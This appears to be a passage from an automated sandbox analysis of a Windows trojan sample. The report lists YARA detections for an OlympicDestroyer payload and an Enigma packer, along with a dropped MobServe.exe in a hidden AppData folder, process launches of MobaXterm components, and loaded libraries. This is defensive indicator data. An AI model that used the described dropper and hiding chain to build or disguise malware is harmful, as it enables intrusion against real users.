Source: 10.2.MobServe.exe.7ff7e4930000.3.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 10.0.MobServe.exe.7ff7e4930000.0.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 12.2.MobServe.exe.7ff7e4930000.0.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 00000000.00000002.4063276187.0000000000400000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: INDICATOR_EXE_Packed_Enigma snort2_sid = 930052-930054, author = ditekSHen, description = Detects executables packed with Enigma, snort3_sid = 930018
Source: 00000000.00000000.2198364908.0000000000400000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: INDICATOR_EXE_Packed_Enigma snort2_sid = 930052-930054, author = ditekSHen, description = Detects executables packed with Enigma, snort3_sid = 930018
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\MobServe[1].exe, type: DROPPED	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: C:\Users\user\AppData\Local\Temp\temp_MobServe.exe, type: DROPPED	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload

Source: evb5021.tmp.0.dr

Static PE information: Section

Source: classification engine

Classification label: mal84.troj.spyw.evad.winEXE@12/723@3/5

Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe

Code function: 13_2_00416347 BeginPaint,EndPaint,SelectPalette,RealizePalette,BitBlt,GetLastError,FormatMessageA,ErrorF,LocalFree,EndPaint,EnumThreadWindows,

13_2_00416347

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Code function: 0_2_1004D409 CreateToolhelp32Snapshot,GetLastError,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@K@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,Process32FirstW,CloseHandle,Process32NextW,CloseHandle,

0_2_1004D409

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Code function: 0_2_1004C35C CoInitializeEx,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CoCreateInstance,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CoUninitialize,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CoUninitialize,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CoUninitialize,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CoUninitialize,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CoUninitialize,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CoUninitialize,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CoUninitialize,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CoUninitialize,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CoUninitialize,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CoUninitialize,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CoUninitialize,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CoUninitialize,SysAllocString,_com_issue_error,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CoUninitialize,

0_2_1004C35C

Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe

Code function: 13_2_0052E860 CreateColormap,malloc,dixAllocatePrivates,free,_dixAllocateObjectWithPrivates,memset,memset,xreallocarray,free,memset,memset,memmove,memmove,memset,memset,xreallocarray,free,free,xreallocarray,free,free,free,AddResource,XaceHook,FreeResource,FreeResource,

13_2_0052E860

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

File created: C:\Users\user\AppData\Roaming\.mobaxterm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4540:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1280:120:WilError_03
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\{155222678-1234-1234-1234-123456789ABC}

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

File created: C:\Users\user\AppData\Local\Temp\evb4FF1.tmp

Jump to behavior

Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe

File opened: C:\Windows\system32\3fd74dccbe85437590ded1019cfb2404ae227d2258d3b36828b4becd370cfbb1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Jump to behavior

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: T2dvU8f2xg.exe, 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: T2dvU8f2xg.exe, 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);

Source: XWin_MobaX.exe	String found in binary or memory: -help prints message with these options
Source: XWin_MobaX.exe	String found in binary or memory: -help
Source: XWin_MobaX.exe	String found in binary or memory: -from local-address specify the local address to connect from
Source: XWin_MobaX.exe	String found in binary or memory: --help
Source: XWin_MobaX.exe	String found in binary or memory: --help
Source: XWin_MobaX.exe	String found in binary or memory: -help prints message with these options
Source: XWin_MobaX.exe	String found in binary or memory: -from local-address specify the local address to connect from

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

File read: C:\Users\user\Desktop\T2dvU8f2xg.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\T2dvU8f2xg.exe "C:\Users\user\Desktop\T2dvU8f2xg.exe"
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process created: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe "C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe "C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe" -silent-dup-error -notrayicon -nolisten inet6 -hostintitle +bs -clipboard -nowgl -multiwindow -noreset :0
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Process created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe "C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe" -w 1 "-RC:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb" -xkm "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\xkb_a01488" -em1 "The XKEYBOARD keymap compiler (xkbcomp) reports:" -emp "> " -eml "Errors from xkbcomp are not fatal to the X server" "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\server-0.xkm"
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Process created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe "C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe" -w 1 "-RC:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb" -xkm "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\xkb_a01488" -em1 "The XKEYBOARD keymap compiler (xkbcomp) reports:" -emp "> " -eml "Errors from xkbcomp are not fatal to the X server" "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\server-0.xkm"
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process created: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe "C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe"	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe "C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe" -silent-dup-error -notrayicon -nolisten inet6 -hostintitle +bs -clipboard -nowgl -multiwindow -noreset :0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Process created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe "C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe" -w 1 "-RC:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb" -xkm "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\xkb_a01488" -em1 "The XKEYBOARD keymap compiler (xkbcomp) reports:" -emp "> " -eml "Errors from xkbcomp are not fatal to the X server" "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\server-0.xkm"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Process created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe "C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe" -w 1 "-RC:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb" -xkm "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\xkb_a01488" -em1 "The XKEYBOARD keymap compiler (xkbcomp) reports:" -emp "> " -eml "Errors from xkbcomp are not fatal to the X server" "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\server-0.xkm"	Jump to behavior

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: libegl.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: olepro32.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: security.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: wship6.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: thumbcache.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libdl.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: opengl32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libwinpthread-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libx11-6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libxau-6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libxcb-image-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libxcb-util-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libxcb-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libxdmcp-6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: zlib1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libgcc_s_dw2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libgcc_s_dw2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libxcb-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libgcc_s_dw2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libgcc_s_dw2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libxcb-shm-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libxcb-util-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libxcb-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libgcc_s_dw2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libxcb-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libgcc_s_dw2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libxdmcp-6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libgcc_s_dw2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libgcc_s_dw2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: glu32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: pnrpnsp.dll	Jump to behavior
